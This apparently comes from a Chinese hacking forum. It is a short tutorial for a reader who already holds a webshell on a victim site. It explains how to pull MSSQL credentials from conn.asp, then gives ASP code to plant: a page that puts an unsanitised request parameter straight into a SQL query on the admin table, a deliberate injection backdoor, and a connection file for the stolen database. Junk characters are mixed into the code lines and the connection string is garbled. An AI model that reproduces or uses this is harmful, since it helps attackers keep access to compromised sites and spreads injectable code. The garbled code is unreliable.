首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
& f7 e! u, x3 H' `) aASP/Visual Basic代码8 i8 z2 E% ]7 A2 o" A
<!--#include file="xx.asp"--> / t1 b# M( i" Y9 F2 L" X! c
<% ) b) i( v# x/ ^. ~
set rs=server.createobject("ADODB.recordset") ( ~# d* G: k: i: e% T
id = request("id") ( |' d+ U& l( T+ j% L
strSQL = "select * from admin where id=" & id 3 v! D) P) |; E6 q9 _8 n D q- k
rs.open strSQL,conn,1,3 0 g& j' y$ s7 `! G1 [8 K
rs.close # h5 S1 U+ ?- \3 h1 T6 `6 r
%> ' [ V- w6 t) m W+ z* N. T
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
; z& ^ n& L) G) {, q3 V& ^然后就要构造一个连接数据库的文件了,代码如下:# M& x4 Z9 a* a3 j0 y5 w& \: [
ASP/Visual Basic代码
: {" h% w$ }5 D$ B/ T<%
* D0 R2 y3 N/ u) T) kstrSQLServerName = "000.000.000.000" '服务器名称或地址 # z$ L" ?, p) ?& t% i1 r4 [
strSQLDBUserName = "sqlname" '数据库帐号
; d7 \' ?6 ~' z: k3 b( ~strSQLDBPassword = "sqlpass" '数据库密码 # o0 C' {9 [' j9 ?4 o
strSQLDBName = "sqldataname" '数据库名称 # m. j j) r- a. u4 e2 n! `
Set conn = Server.CreateObject("ADODB.Connection")
& `( r- o. _ istrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" 4 o1 n# w2 _" L% \! j' J5 w5 Y) J: r
conn.open strCon ! d) j4 w3 i2 g* }1 p) K' H0 _0 ^
%>
8 Z4 k$ M! G% D% {6 x& T! s2 ^0 l这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
: r* B0 M, k C$ F$ M: A2 S# b: f |